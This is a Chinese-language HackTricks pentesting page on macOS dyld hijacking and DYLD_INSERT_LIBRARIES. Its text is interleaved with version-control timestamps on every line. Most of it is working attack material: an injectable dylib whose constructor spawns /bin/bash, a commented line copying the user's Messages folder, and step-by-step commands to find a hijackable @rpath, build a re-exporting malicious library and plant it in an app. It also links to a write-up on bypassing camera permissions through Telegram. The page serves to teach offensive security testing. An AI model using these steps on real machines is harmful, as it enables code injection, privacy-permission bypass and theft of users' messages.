2023-08-03 19:12:22 +00:00
|
|
|
|
# macOS Dyld劫持和DYLD_INSERT_LIBRARIES
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## DYLD_INSERT_LIBRARIES基本示例
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**要注入的库**以执行shell:
|
2023-05-15 08:11:15 +00:00
|
|
|
|
```c
|
2023-05-15 10:48:42 +00:00
|
|
|
|
// gcc -dynamiclib -o inject.dylib inject.c
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
|
|
|
|
#include <syslog.h>
|
2023-05-15 10:48:42 +00:00
|
|
|
|
#include <stdio.h>
|
2023-05-15 08:11:15 +00:00
|
|
|
|
#include <unistd.h>
|
2023-09-19 23:05:42 +00:00
|
|
|
|
#include <stdlib.h>
|
2023-05-15 08:11:15 +00:00
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
|
2023-05-18 12:13:32 +00:00
|
|
|
|
void myconstructor(int argc, const char **argv)
|
2023-05-15 08:11:15 +00:00
|
|
|
|
{
|
2023-08-03 19:12:22 +00:00
|
|
|
|
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
|
|
|
|
printf("[+] dylib injected in %s\n", argv[0]);
|
|
|
|
|
execv("/bin/bash", 0);
|
2023-09-19 23:05:42 +00:00
|
|
|
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
2023-05-15 08:11:15 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
攻击目标二进制文件:
|
2023-05-15 08:11:15 +00:00
|
|
|
|
```c
|
|
|
|
|
// gcc hello.c -o hello
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
|
|
|
|
|
int main()
|
|
|
|
|
{
|
2023-08-03 19:12:22 +00:00
|
|
|
|
printf("Hello, World!\n");
|
|
|
|
|
return 0;
|
2023-05-15 08:11:15 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
注入(Injection):
|
2023-05-15 08:11:15 +00:00
|
|
|
|
```bash
|
2023-05-15 10:48:42 +00:00
|
|
|
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
2023-05-15 08:11:15 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## Dyld劫持示例
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
|
|
|
|
{% tabs %}
|
2023-09-19 23:05:42 +00:00
|
|
|
|
{% tab title="entitlements" %}
|
|
|
|
|
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
|
|
|
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
|
|
|
|
</strong></code></pre>
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
2023-05-15 14:07:02 +00:00
|
|
|
|
{% tab title="LC_RPATH" %}
|
|
|
|
|
{% code overflow="wrap" %}
|
|
|
|
|
```bash
|
|
|
|
|
# Check where are the @rpath locations
|
2023-09-19 23:05:42 +00:00
|
|
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
2023-08-03 19:12:22 +00:00
|
|
|
|
cmd LC_RPATH
|
|
|
|
|
cmdsize 32
|
|
|
|
|
path @loader_path/. (offset 12)
|
2023-05-15 14:07:02 +00:00
|
|
|
|
--
|
2023-08-03 19:12:22 +00:00
|
|
|
|
cmd LC_RPATH
|
|
|
|
|
cmdsize 32
|
2023-09-19 23:05:42 +00:00
|
|
|
|
path @loader_path/../lib2 (offset 12)
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
{% endtab %}
|
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
{% tab title="@rpath" %}
|
2023-05-15 14:07:02 +00:00
|
|
|
|
{% code overflow="wrap" %}
|
|
|
|
|
```bash
|
|
|
|
|
# Check librareis loaded using @rapth and the used versions
|
2023-09-19 23:05:42 +00:00
|
|
|
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
|
|
|
|
name @rpath/lib.dylib (offset 24)
|
2023-08-03 19:12:22 +00:00
|
|
|
|
time stamp 2 Thu Jan 1 01:00:02 1970
|
|
|
|
|
current version 1.0.0
|
2023-05-15 14:07:02 +00:00
|
|
|
|
compatibility version 1.0.0
|
2023-09-19 23:05:42 +00:00
|
|
|
|
# Check the versions
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
根据之前的信息,我们知道它**没有检查加载的库的签名**,并且它正在尝试从以下位置加载库:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
|
|
|
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
然而,第一个位置不存在:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```bash
|
|
|
|
|
pwd
|
2023-09-19 23:05:42 +00:00
|
|
|
|
/Applications/VulnDyld.app
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
find ./ -name lib.dylib
|
|
|
|
|
./Contents/Resources/lib2/lib.dylib
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```
|
2023-09-19 23:05:42 +00:00
|
|
|
|
所以,它是可以被劫持的!创建一个库,通过重新导出来执行一些任意代码并导出与合法库相同的功能。并记得使用预期版本进行编译:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
{% code title="lib.m" %}
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
|
|
|
|
__attribute__((constructor))
|
|
|
|
|
void custom(int argc, const char **argv) {
|
2023-09-19 23:05:42 +00:00
|
|
|
|
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
2023-05-15 14:07:02 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
编译它:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
|
|
|
|
{% code overflow="wrap" %}
|
|
|
|
|
```bash
|
2023-09-19 23:05:42 +00:00
|
|
|
|
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
2023-05-15 14:07:02 +00:00
|
|
|
|
# Note the versions and the reexport
|
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
|
|
|
|
{% code overflow="wrap" %}
|
|
|
|
|
```bash
|
|
|
|
|
#Check relative
|
2023-09-19 23:05:42 +00:00
|
|
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
2023-08-03 19:12:22 +00:00
|
|
|
|
cmd LC_REEXPORT_DYLIB
|
|
|
|
|
cmdsize 48
|
|
|
|
|
name @rpath/libjli.dylib (offset 24)
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
#Change the location of the library absolute to absolute path
|
|
|
|
|
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
|
|
|
|
# Check again
|
2023-09-19 23:05:42 +00:00
|
|
|
|
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
2023-08-03 19:12:22 +00:00
|
|
|
|
cmd LC_REEXPORT_DYLIB
|
|
|
|
|
cmdsize 128
|
|
|
|
|
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
最后将其复制到**劫持位置**:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
|
|
|
|
{% code overflow="wrap" %}
|
|
|
|
|
```bash
|
2023-09-19 23:05:42 +00:00
|
|
|
|
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
2023-05-15 14:07:02 +00:00
|
|
|
|
```
|
|
|
|
|
{% endcode %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
然后**执行**二进制文件并检查**库是否被加载**:
|
2023-05-15 14:07:02 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
|
|
|
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib被劫持在/Applications/VulnDyld.app/Contents/Resources/lib/binary中
|
|
|
|
|
</strong>Usage: [...]
|
2023-05-15 14:07:02 +00:00
|
|
|
|
</code></pre>
|
|
|
|
|
|
2023-05-16 16:54:39 +00:00
|
|
|
|
{% hint style="info" %}
|
2023-09-19 23:05:42 +00:00
|
|
|
|
关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)找到
|
2023-05-16 16:54:39 +00:00
|
|
|
|
{% endhint %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 更大规模
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时在进程中加载(在这种情况下删除printf和`/bin/bash`执行)。
|
2023-05-15 08:11:15 +00:00
|
|
|
|
```bash
|
2023-05-15 14:07:02 +00:00
|
|
|
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
2023-05-15 08:11:15 +00:00
|
|
|
|
```
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2023-09-14 00:00:07 +00:00
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-05-15 08:11:15 +00:00
|
|
|
|
|
|
|
|
|
</details>
|